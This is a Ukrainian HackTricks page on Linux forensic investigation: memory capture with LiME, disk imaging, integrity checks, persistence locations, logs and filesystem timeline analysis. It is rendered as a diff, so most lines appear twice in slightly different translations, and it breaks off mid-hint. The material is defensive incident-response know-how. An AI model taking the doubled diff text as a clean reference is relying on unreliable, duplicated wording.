Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
## Початковий Збір Інформації
## Початкове збирання інформації
### Основна Інформація
### Основна інформація
По-перше, рекомендується мати **USB** з **відомими хорошими бінарниками та бібліотеками на ньому** (ви можете просто взяти Ubuntu та скопіювати папки _/bin_, _/sbin_, _/lib,_ та _/lib64_), потім підключити USB, та змінити змінні середовища для використання цих бінарників:
По-перше, рекомендується мати якийсь **USB** з **добре відомими бінарними файлами та бібліотеками** (ви можете просто взяти ubuntu і скопіювати папки _/bin_, _/sbin_, _/lib,_ та _/lib64_), потім змонтуйте USB і змініть змінні середовища, щоб використовувати ці бінарні файли:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Після того, як ви налаштували систему для використання надійних та відомих бінарних файлів, ви можете почати **витягувати деяку базову інформацію**:
Як тільки ви налаштували систему на використання хороших і відомих бінарних файлів, ви можете почати **витягувати деяку базову інформацію**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Підозріла інформація
Під час отримання базової інформації варто перевірити на дивні речі, такі як:
Під час отримання базової інформації слід перевірити на дивні речі, такі як:
* **Процеси root** зазвичай працюють з низькими PID, тому якщо ви знаходите процес root з великим PID, ви можете підозрювати
* Перевірте **зареєстровані входи** користувачів без оболонки в `/etc/passwd`
* **Root процеси** зазвичай працюють з низькими PID, тому якщо ви знайдете root процес з великим PID, ви можете підозрювати
* Перевірте **зареєстровані логіни** користувачів без оболонки в `/etc/passwd`
* Перевірте **хеші паролів** в `/etc/shadow` для користувачів без оболонки
### Дамп пам'яті
Для отримання пам'яті робочої системи рекомендується використовувати [**LiME**](https://github.com/504ensicsLabs/LiME).\
Для **компіляції** його вам потрібно використовувати **таке ж ядро**, яке використовує машина-жертва.
Щоб отримати пам'ять працюючої системи, рекомендується використовувати [**LiME**](https://github.com/504ensicsLabs/LiME).\
Щоб **скомпілювати** його, вам потрібно використовувати **той самий ядро**, яке використовує машина жертви.
{% hint style="info" %}
Пам'ятайте, що ви **не можете встановлювати LiME або будь-що інше** на машину-жертву, оскільки це призведе до кількох змін в ній
Пам'ятайте, що ви **не можете встановити LiME або будь-що інше** на машині жертви, оскільки це призведе до кількох змін у ній
{% endhint %}
Тому, якщо у вас є ідентична версія Ubuntu, ви можете використовувати `apt-get install lime-forensics-dkms`\
У інших випадках вам потрібно завантажити [**LiME**](https://github.com/504ensicsLabs/LiME) з github та скомпілювати його з правильними заголовками ядра. Для **отримання точних заголовків ядра** машини-жертви ви можете просто **скопіювати каталог** `/lib/modules/<версія ядра>` на свою машину, а потім **скомпілювати** LiME, використовуючи їх:
Отже, якщо у вас є ідентична версія Ubuntu, ви можете використовувати `apt-get install lime-forensics-dkms`\
В інших випадках вам потрібно завантажити [**LiME**](https://github.com/504ensicsLabs/LiME) з github і скомпілювати його з правильними заголовками ядра. Щоб **отримати точні заголовки ядра** машини жертви, ви можете просто **скопіювати директорію** `/lib/modules/<kernel version>` на вашу машину, а потім **скомпілювати** LiME, використовуючи їх:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME підтримує 3 **формати**:
* Raw (кожний сегмент об'єднаний разом)
* Padded (такий самий, як raw, але з нулями в правих бітах)
* Raw (кожен сегмент об'єднаний разом)
* Padded (той же, що й raw, але з нулями в правих бітах)
* Lime (рекомендований формат з метаданими)
LiME також може бути використаний для **відправлення дампу через мережу** замість зберігання його в системі, використовуючи щось на зразок: `path=tcp:4444`
LiME також може бути використаний для **відправки дампу через мережу** замість зберігання його на системі, використовуючи щось на кшталт: `path=tcp:4444`
### Диск Imaging
#### Вимкнення
По-перше, вам потрібно **вимкнути систему**. Це не завжди можливо, оскільки деякі системи є серверами виробничого призначення, які компанія не може собі дозволити вимкнути.\
Є **2 способи** вимкнення системи, **звичайне вимкнення** та **вимкнення "від'єднати штепсель"**. Перше дозволить **процесам завершити роботу як зазвичай** та **синхронізувати файлову систему**, але також дозволить можливому **шкідливому програмному забезпеченню** **знищити докази**. Підхід "від'єднати штепсель" може призвести до **втрати деякої інформації** (багато інформації не буде втрачено, оскільки ми вже взяли зображення пам'яті) та **шкідливе програмне забезпечення не матиме можливості** щодо цього нічого зробити. Тому, якщо ви **підозрюєте**, що може бути **шкідливе програмне забезпечення**, просто виконайте **команду `sync`** на системі та від'єднайте штепсель.
Перш за все, вам потрібно **вимкнути систему**. Це не завжди можливо, оскільки іноді система буде виробничим сервером, який компанія не може дозволити собі вимкнути.\
Є **2 способи** вимкнення системи: **нормальне вимкнення** та **вимкнення "вийняти штекер"**. Перше дозволить **процесам завершитися як зазвичай** і **файловій системі** бути **синхронізованою**, але також дозволить можливому **шкідливому ПЗ** **знищити докази**. Підхід "вийняти штекер" може призвести до **втрати деякої інформації** (не багато інформації буде втрачено, оскільки ми вже зробили знімок пам'яті) і **шкідливе ПЗ не матиме можливості** нічого з цим зробити. Тому, якщо ви **підозрюєте**, що може бути **шкідливе ПЗ**, просто виконайте **команду** **`sync`** на системі і вийміть штекер.
#### Взяття зображення диска
#### Зняття зображення диска
Важливо зауважити, що **перед підключенням вашого комп'ютера до чого-небудь, що стосується справи**, вам потрібно бути впевненим, що він буде **підключений як тільки для читання**, щоб уникнути зміни будь-якої інформації.
Важливо зазначити, що **перед підключенням вашого комп'ютера до чогось, що стосується справи**, вам потрібно бути впевненим, що він буде **підключений тільки для читання**, щоб уникнути зміни будь-якої інформації.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -100,7 +101,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
```
### Попередній аналіз образу диска
Створення образу диска без додаткових даних.
Іміджування образу диска без додаткових даних.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@ -153,26 +154,26 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, що працюють на найбільш **продвинутих** інструментах спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Пошук відомого шкідливого програмного забезпечення
## Пошук відомого шкідливого ПЗ
### Змінені системні файли
### Модифіковані системні файли
Linux пропонує інструменти для забезпечення цілісності компонентів системи, що є важливим для виявлення потенційно проблемних файлів.
Linux пропонує інструменти для забезпечення цілісності системних компонентів, що є критично важливим для виявлення потенційно проблемних файлів.
* **Системи на основі RedHat**: Використовуйте `rpm -Va` для комплексної перевірки.
* **Системи на основі Debian**: `dpkg --verify` для початкової перевірки, а потім `debsums | grep -v "OK$"` (після встановлення `debsums` за допомогою `apt-get install debsums`) для ідентифікації будь-яких проблем.
* **Системи на базі RedHat**: Використовуйте `rpm -Va` для всебічної перевірки.
* **Системи на базі Debian**: `dpkg --verify` для початкової перевірки, а потім `debsums | grep -v "OK$"` (після встановлення `debsums` за допомогою `apt-get install debsums`) для виявлення будь-яких проблем.
### Виявлення шкідливого програмного забезпечення/кітових програм
### Датчики шкідливого ПЗ/Rootkit
Прочитайте наступну сторінку, щоб дізнатися про інструменти, які можуть бути корисними для пошуку шкідливого програмного забезпечення:
Прочитайте наступну сторінку, щоб дізнатися про інструменти, які можуть бути корисними для виявлення шкідливого ПЗ:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@ -180,12 +181,12 @@ Linux пропонує інструменти для забезпечення ц
## Пошук встановлених програм
Для ефективного пошуку встановлених програм як на системах Debian, так і на RedHat, розгляньте можливість використання системних журналів та баз даних разом із ручними перевірками в загальних каталогах.
Щоб ефективно шукати встановлені програми на системах Debian і RedHat, розгляньте можливість використання системних журналів і баз даних разом із ручними перевірками в загальних каталогах.
* Для Debian перевірте _**`/var/lib/dpkg/status`**_ та _**`/var/log/dpkg.log`**_ для отримання деталей про встановлені пакети, використовуючи `grep` для фільтрації конкретної інформації.
* Користувачі RedHat можуть запитувати базу даних RPM за допомогою `rpm -qa --root=/mntpath/var/lib/rpm`, щоб перелічити встановлені пакети.
* Для Debian перевірте _**`/var/lib/dpkg/status`**_ та _**`/var/log/dpkg.log`**_ для отримання деталей про встановлення пакетів, використовуючи `grep` для фільтрації конкретної інформації.
* Користувачі RedHat можуть запитувати базу даних RPM за допомогою `rpm -qa --root=/mntpath/var/lib/rpm`, щоб перерахувати встановлені пакети.
Щоб виявити програмне забезпечення, встановлене вручну або поза цими менеджерами пакунків, дослідіть каталоги, такі як _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ та _**`/sbin`**_. Поєднайте переліки каталогів з системними командами, щоб ідентифікувати виконувані файли, які не пов'язані з відомими пакетами, покращуючи пошук всіх встановлених програм.
Щоб виявити програмне забезпечення, встановлене вручну або поза цими менеджерами пакетів, досліджуйте каталоги, такі як _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, і _**`/sbin`**_. Поєднайте списки каталогів із командами, специфічними для системи, щоб ідентифікувати виконувані файли, не пов'язані з відомими пакетами, що покращить ваш пошук усіх встановлених програм.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -201,17 +202,17 @@ find /sbin/ exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси**, які працюють на найбільш **продвинутих** інструментах спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Відновлення видалених виконуваних файлів
## Відновлення видалених запущених бінарних файлів
Уявіть процес, який був виконаний з /tmp/exec та видалений. Є можливість його видобути
Уявіть процес, який був виконаний з /tmp/exec і потім видалений. Можливо витягти його
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
@ -233,61 +234,61 @@ cat /var/spool/cron/crontabs/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
### Сервіси
### Послуги
Шляхи, де може бути встановлений шкідливий ПЗ як сервіс:
Шляхи, де шкідливе ПЗ може бути встановлено як служба:
* **/etc/inittab**: Викликає ініціалізаційні скрипти, наприклад rc.sysinit, спрямовуючи далі до скриптів запуску.
* **/etc/rc.d/** та **/etc/rc.boot/**: Містять скрипти для запуску сервісів, останній з яких знаходиться в старіших версіях Linux.
* **/etc/init.d/**: Використовується в певних версіях Linux, наприклад Debian, для зберігання скриптів запуску.
* Сервіси також можуть бути активовані через **/etc/inetd.conf** або **/etc/xinetd/**, залежно від варіанту Linux.
* **/etc/systemd/system**: Каталог для системних та скриптів керування сервісами.
* **/etc/systemd/system/multi-user.target.wants/**: Містить посилання на сервіси, які повинні бути запущені в режимі багатокористувацького рівня.
* **/usr/local/etc/rc.d/**: Для власних або сторонніх сервісів.
* **\~/.config/autostart/**: Для автоматичного запуску програм, специфічних для користувача, що може бути прихованим місцем для шкідливого ПЗ, спрямованого на користувача.
* **/etc/inittab**: Викликає скрипти ініціалізації, такі як rc.sysinit, направляючи далі до скриптів запуску.
* **/etc/rc.d/** та **/etc/rc.boot/**: Містять скрипти для запуску служб, останній з яких знаходиться в старіших версіях Linux.
* **/etc/init.d/**: Використовується в певних версіях Linux, таких як Debian, для зберігання скриптів запуску.
* Служби також можуть бути активовані через **/etc/inetd.conf** або **/etc/xinetd/**, залежно від варіанту Linux.
* **/etc/systemd/system**: Директорія для скриптів менеджера системи та служб.
* **/etc/systemd/system/multi-user.target.wants/**: Містить посилання на служби, які повинні бути запущені в багатокористувацькому режимі.
* **/usr/local/etc/rc.d/**: Для користувацьких або сторонніх служб.
* **\~/.config/autostart/**: Для автоматичних програм запуску, специфічних для користувача, які можуть бути прихованим місцем для шкідливого ПЗ, націленого на користувача.
* **/lib/systemd/system/**: Системні файли одиниць за замовчуванням, надані встановленими пакетами.
### Модулі ядра
### Ядрові модулі
Модулі ядра Linux, часто використовувані шкідливим ПЗ як компоненти rootkit, завантажуються при завантаженні системи. Критичні для цих модулів каталоги та файли включають:
Ядрові модулі Linux, які часто використовуються шкідливим ПЗ як компоненти руткітів, завантажуються під час завантаження системи. Директорії та файли, критично важливі для цих модулів, включають:
* **/lib/modules/$(uname -r)**: Містить модулі для версії ядра, що працює.
* **/etc/modprobe.d**: Містить файли конфігурації для керування завантаженням модулів.
* **/etc/modprobe.d**: Містить конфігураційні файли для контролю завантаження модулів.
* **/etc/modprobe** та **/etc/modprobe.conf**: Файли для глобальних налаштувань модулів.
### Інші місця автозапуску
Linux використовує різні файли для автоматичного виконання програм при вході користувача, що потенційно можуть приховувати шкідливе ПЗ:
Linux використовує різні файли для автоматичного виконання програм під час входу користувача, що потенційно може приховувати шкідливе ПЗ:
* **/etc/profile.d/**\*, **/etc/profile**, та **/etc/bash.bashrc**: Виконуються при будь-якому вході користувача.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, та **\~/.config/autostart**: Файли, специфічні для користувача, які запускаються при їх вході.
* **/etc/rc.local**: Запускається після того, як всі системні служби стартують, позначаючи завершення переходу до середовища багатокористувацького рівня.
* **/etc/profile.d/**\*, **/etc/profile**, та **/etc/bash.bashrc**: Виконуються для будь-якого входу користувача.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, та **\~/.config/autostart**: Файли, специфічні для користувача, які виконуються під час їх входу.
* **/etc/rc.local**: Виконується після того, як всі системні служби були запущені, що позначає кінець переходу до багатокористувацького середовища.
## Аналіз журналів
## Перевірка журналів
Системи Linux відстежують дії користувачів та події системи через різні файли журналів. Ці журнали є ключовими для ідентифікації несанкціонованого доступу, інфікування шкідливим ПЗ та інших інцидентів безпеки. Основні файли журналів включають:
Системи Linux відстежують активність користувачів та події системи через різні журнали. Ці журнали є важливими для виявлення несанкціонованого доступу, інфекцій шкідливим ПЗ та інших інцидентів безпеки. Ключові журнали включають:
* **/var/log/syslog** (Debian) або **/var/log/messages** (RedHat): Записують повідомлення та дії на рівні системи.
* **/var/log/auth.log** (Debian) або **/var/log/secure** (RedHat): Фіксують спроби аутентифікації, успішні та невдачні входи.
* Використовуйте `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` для фільтрації відповідних подій аутентифікації.
* **/var/log/syslog** (Debian) або **/var/log/messages** (RedHat): Захоплюють системні повідомлення та активність.
* **/var/log/auth.log** (Debian) або **/var/log/secure** (RedHat): Записують спроби аутентифікації, успішні та невдалі входи.
* Використовуйте `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`, щоб відфільтрувати відповідні події аутентифікації.
* **/var/log/boot.log**: Містить повідомлення про запуск системи.
* **/var/log/maillog** або **/var/log/mail.log**: Журнали дій поштового сервера, корисні для відстеження поштових сервісів.
* **/var/log/maillog** або **/var/log/mail.log**: Журнали активності поштового сервера, корисні для відстеження послуг, пов'язаних з електронною поштою.
* **/var/log/kern.log**: Зберігає повідомлення ядра, включаючи помилки та попередження.
* **/var/log/dmesg**: Містить повідомлення драйвера пристрою.
* **/var/log/faillog**: Фіксує невдачі входу, допомагаючи в розслідуванні порушень безпеки.
* **/var/log/cron**: Журнали виконання завдань cron.
* **/var/log/daemon.log**: Відстежує діяльність фонових служб.
* **/var/log/btmp**: Документує невдачі входу.
* **/var/log/dmesg**: Містить повідомлення драйверів пристроїв.
* **/var/log/faillog**: Записує невдалі спроби входу, що допомагає в розслідуванні порушень безпеки.
* **/var/log/cron**: Журнали виконання cron-завдань.
* **/var/log/daemon.log**: Відстежує активність фонових служб.
* **/var/log/btmp**: Документує невдалі спроби входу.
* **/var/log/httpd/**: Містить журнали помилок та доступу Apache HTTPD.
* **/var/log/mysqld.log** або **/var/log/mysql.log**: Журнали дій бази даних MySQL.
* **/var/log/xferlog**: Фіксує передачі файлів FTP.
* **/var/log/**: Завжди перевіряйте наявність неочікуваних журналів тут.
* **/var/log/mysqld.log** або **/var/log/mysql.log**: Журнали активності бази даних MySQL.
* **/var/log/xferlog**: Записує FTP-передачі файлів.
* **/var/log/**: Завжди перевіряйте на наявність несподіваних журналів тут.
{% hint style="info" %}
Системні журнали та підсистеми аудиту Linux можуть бути вимкнені або видалені під час вторгнення або інциденту з шкідливим ПЗ. Оскільки журнали в системах Linux, як правило, містять деяку з найкориснішою інформацією про зловмисну діяльність, зловмисники регулярно їх видаляють. Тому при аналізі наявних файлів журналів важливо шукати прогалини або неузгоджені записи, які можуть свідчити про видалення або втручання.
Журнали системи Linux та підсистеми аудиту можуть бути вимкнені або видалені під час вторгнення або інциденту з шкідливим ПЗ. Оскільки журнали на системах Linux зазвичай містять деяку з найкорисніших інформацій про злочинні дії, зловмисники регулярно їх видаляють. Тому, перевіряючи доступні журнали, важливо шукати прогалини або записи в неправильному порядку, які можуть свідчити про видалення або підробку.
{% endhint %}
**Linux зберігає історію команд для кожного користувача**, зберігається в:
**Linux зберігає історію команд для кожного користувача**, що зберігається в:
* \~/.bash\_history
* \~/.zsh\_history
@ -295,32 +296,32 @@ Linux використовує різні файли для автоматичн
* \~/.python\_history
* \~/.\*\_history
Крім того, команда `last -Faiwx` надає список входів користувачів. Перевірте його на невідомі або неочікувані входи.
Крім того, команда `last -Faiwx` надає список входів користувачів. Перевірте його на наявність невідомих або несподіваних входів.
Перевірте файли, які можуть надати додаткові привілеї:
* Перегляньте `/etc/sudoers` на непередбачені привілеї користувача, які можуть бути надані.
* Перегляньте `/etc/sudoers.d/` на непередбачені привілеї користувача, які можуть бути надані.
* Дослідіть `/etc/groups`, щоб виявити незвичайні членства в групах або дозволи.
* Дослідіть `/etc/passwd`, щоб виявити незвичайні членства в групах або дозволи.
* Перегляньте `/etc/sudoers` на предмет непередбачених привілеїв користувачів, які могли бути надані.
* Перегляньте `/etc/sudoers.d/` на предмет непередбачених привілеїв користувачів, які могли бути надані.
* Перевірте `/etc/groups`, щоб виявити будь-які незвичайні членства в групах або дозволи.
* Перевірте `/etc/passwd`, щоб виявити будь-які незвичайні членства в групах або дозволи.
Деякі програми також генерують власні журнали:
Деякі програми також генерують свої власні журнали:
* **SSH**: Перевірте _\~/.ssh/authorized\_keys_ та _\~/.ssh/known\_hosts_ на несанкціоновані віддалені підключення.
* **Gnome Desktop**: Перегляньте _\~/.recently-used.xbel_ для нещодавно відкритих файлів через додатки Gnome.
* **Firefox/Chrome**: Перевірте історію браузера та завантаження в _\~/.mozilla/firefox_ або _\~/.config/google-chrome_ на підозрілі дії.
* **VIM**: Перегляньте _\~/.viminfo_ для деталей використання, таких як шляхи до файлів та історія пошуку.
* **Open Office**: Перевірте нещодавній доступ до документів, що може вказувати на компрометовані файли.
* **FTP/SFTP**: Перегляньте журнали в _\~/.ftp\_history_ або _\~/.sftp\_history_ для передач файлів, які можуть бути несанкціонованими.
* **MySQL**: Дослідіть _\~/.mysql\_history_ для виконаних запитів MySQL, що може розкрити несанкціоновану діяльність бази даних.
* **Less**: Проаналізуйте _\~/.lesshst_ для історії використання, включаючи переглянуті файли та виконані команди.
* **Git**: Перегляньте _\~/.gitconfig_ та проект _.git/logs_ для змін у репозиторіях.
* **SSH**: Перевірте _\~/.ssh/authorized\_keys_ та _\~/.ssh/known\_hosts_ на предмет несанкціонованих віддалених з'єднань.
* **Gnome Desktop**: Перегляньте _\~/.recently-used.xbel_ для нещодавно відкритих файлів через програми Gnome.
* **Firefox/Chrome**: Перевірте історію браузера та завантаження в _\~/.mozilla/firefox_ або _\~/.config/google-chrome_ на предмет підозрілої активності.
* **VIM**: Перегляньте _\~/.viminfo_ для деталей використання, таких як шляхи до відкритих файлів та історія пошуку.
* **Open Office**: Перевірте наявність нещодавнього доступу до документів, що може свідчити про скомпрометовані файли.
* **FTP/SFTP**: Перегляньте журнали в _\~/.ftp\_history_ або _\~/.sftp\_history_ на предмет передач файлів, які можуть бути несанкціонованими.
* **MySQL**: Досліджуйте _\~/.mysql\_history_ для виконаних запитів MySQL, що можуть вказувати на несанкціоновану активність бази даних.
* **Less**: Аналізуйте _\~/.lesshst_ для історії використання, включаючи переглянуті файли та виконані команди.
* **Git**: Перевірте _\~/.gitconfig_ та проект _.git/logs_ на предмет змін у репозиторіях.
### Журнали USB
[**usbrip**](https://github.com/snovvcrash/usbrip) - це невеликий програмний засіб, написаний на чистому Python 3, який аналізує файли журналів Linux (`/var/log/syslog*` або `/var/log/messages*` в залежності від дистрибутиву) для побудови таблиць історії подій USB.
[**usbrip**](https://github.com/snovvcrash/usbrip) - це невеликий програмний продукт, написаний на чистому Python 3, який аналізує журнали Linux (`/var/log/syslog*` або `/var/log/messages*` в залежності від дистрибутива) для створення таблиць історії подій USB.
Цікаво **знати всі USB, які були використані**, і це буде корисно, якщо у вас є авторизований список USB для пошуку "порушень" (використання USB, які не входять до цього списку).
Цікаво **знати всі USB, які були використані**, і це буде ще корисніше, якщо у вас є авторизований список USB для виявлення "інцидентів порушення" (використання USB, які не входять до цього списку).
### Встановлення
```bash
@ -335,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
Більше прикладів та інформації у GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
Більше прикладів та інформації всередині github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють за допомогою найбільш **продвинутих** інструментів у спільноті.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси**, підтримувані **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Перегляд облікових записів користувачів та активностей входу в систему
## Перегляд облікових записів користувачів та активності входу
Перевірте файли _**/etc/passwd**_, _**/etc/shadow**_ та **журнали безпеки** на наявність незвичайних імен або облікових записів, створених або використаних поруч з відомими несанкціонованими подіями. Також перевірте можливі атаки на sudo методом перебору паролів.\
Крім того, перевірте файли, такі як _**/etc/sudoers**_ та _**/etc/groups**_ на непередбачені привілеї, надані користувачам.\
Нарешті, шукайте облікові записи без **паролів** або з **легко вгадуваними** паролями.
Перевірте _**/etc/passwd**_, _**/etc/shadow**_ та **журнали безпеки** на наявність незвичних імен або облікових записів, створених або використаних у близькості до відомих несанкціонованих подій. Також перевірте можливі атаки грубої сили на sudo.\
Крім того, перевірте файли, такі як _**/etc/sudoers**_ та _**/etc/groups**_, на предмет несподіваних привілеїв, наданих користувачам.\
Нарешті, шукайте облікові записи з **відсутніми паролями** або **легко вгадуваними** паролями.
## Аналіз файлової системи
## Перевірка файлової системи
### Аналіз структур файлової системи при розслідуванні випадків шкідливого програмного забезпечення
### Аналіз структур файлової системи в розслідуванні шкідливого ПЗ
При розслідуванні випадків шкідливого програмного забезпечення структура файлової системи є важливим джерелом інформації, що розкриває як послідовність подій, так і вміст шкідливого програмного забезпечення. Однак автори шкідливого програмного забезпечення розробляють техніки для ускладнення цього аналізу, такі як зміна часів штампів файлів або уникання файлової системи для зберігання даних.
Під час розслідування інцидентів з шкідливим ПЗ структура файлової системи є важливим джерелом інформації, що розкриває як послідовність подій, так і вміст шкідливого ПЗ. Однак автори шкідливого ПЗ розробляють техніки, щоб ускладнити цей аналіз, такі як зміна часових міток файлів або уникнення файлової системи для зберігання даних.
Для протидії цим анти-форензичним методам важливо:
Щоб протидіяти цим антифорензічним методам, важливо:
* **Провести ретельний аналіз часової шкали** за допомогою інструментів, таких як **Autopsy** для візуалізації часових шкал подій або `mactime` від **Sleuth Kit** для детальних даних часової шкали.
* **Дослідити неочікувані скрипти** у $PATH системи, які можуть містити скрипти оболонки або PHP, використовані зловмисниками.
* **Перевірте `/dev` на атипові файли**, оскільки традиційно тут містяться спеціальні файли, але можуть містити файли, пов'язані з шкідливим програмним забезпеченням.
* **Шукайте приховані файли або каталоги** з назвами, такими як ".. " (крапка крапка пробіл) або "..^G" (крапка крапка керування-G), які можуть приховувати зловмисний вміст.
* **Визначте файли setuid root** за допомогою команди: `find / -user root -perm -04000 -print` Це знаходить файли з підвищеними дозволами, які можуть бути використані зловмисниками.
* **Перевірте часи видалення** в таблицях inode, щоб виявити масове видалення файлів, що може вказувати на наявність rootkit або троянців.
* **Огляньте послідовні inode** для поруч знаходячихся зловмисних файлів після ідентифікації одного, оскільки вони можуть бути розміщені разом.
* **Перевірте загальні бінарні каталоги** (_/bin_, _/sbin_) на недавно змінені файли, оскільки їх може бути змінено шкідливим програмним забезпеченням.
* **Провести ретельний аналіз хронології** за допомогою інструментів, таких як **Autopsy** для візуалізації хронологій подій або `mactime` від **Sleuth Kit** для детальних даних хронології.
* **Дослідити несподівані скрипти** в $PATH системи, які можуть включати shell або PHP скрипти, що використовуються зловмисниками.
* **Перевірити `/dev` на наявність нетипових файлів**, оскільки він традиційно містить спеціальні файли, але може містити файли, пов'язані зі шкідливим ПЗ.
* **Шукати приховані файли або каталоги** з іменами, такими як ".. " (крапка крапка пробіл) або "..^G" (крапка крапка контроль-G), які можуть приховувати шкідливий вміст.
* **Визначити файли setuid root** за допомогою команди: `find / -user root -perm -04000 -print` Це знаходить файли з підвищеними привілеями, які можуть бути зловживані зловмисниками.
* **Переглянути часові мітки видалення** в таблицях inode, щоб виявити масові видалення файлів, що може вказувати на наявність rootkit або троянів.
* **Перевірити послідовні inode** на наявність сусідніх шкідливих файлів після виявлення одного, оскільки вони могли бути розміщені разом.
* **Перевірити загальні каталоги бінарних файлів** (_/bin_, _/sbin_) на наявність нещодавно змінених файлів, оскільки ці файли могли бути змінені шкідливим ПЗ.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -375,35 +376,35 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
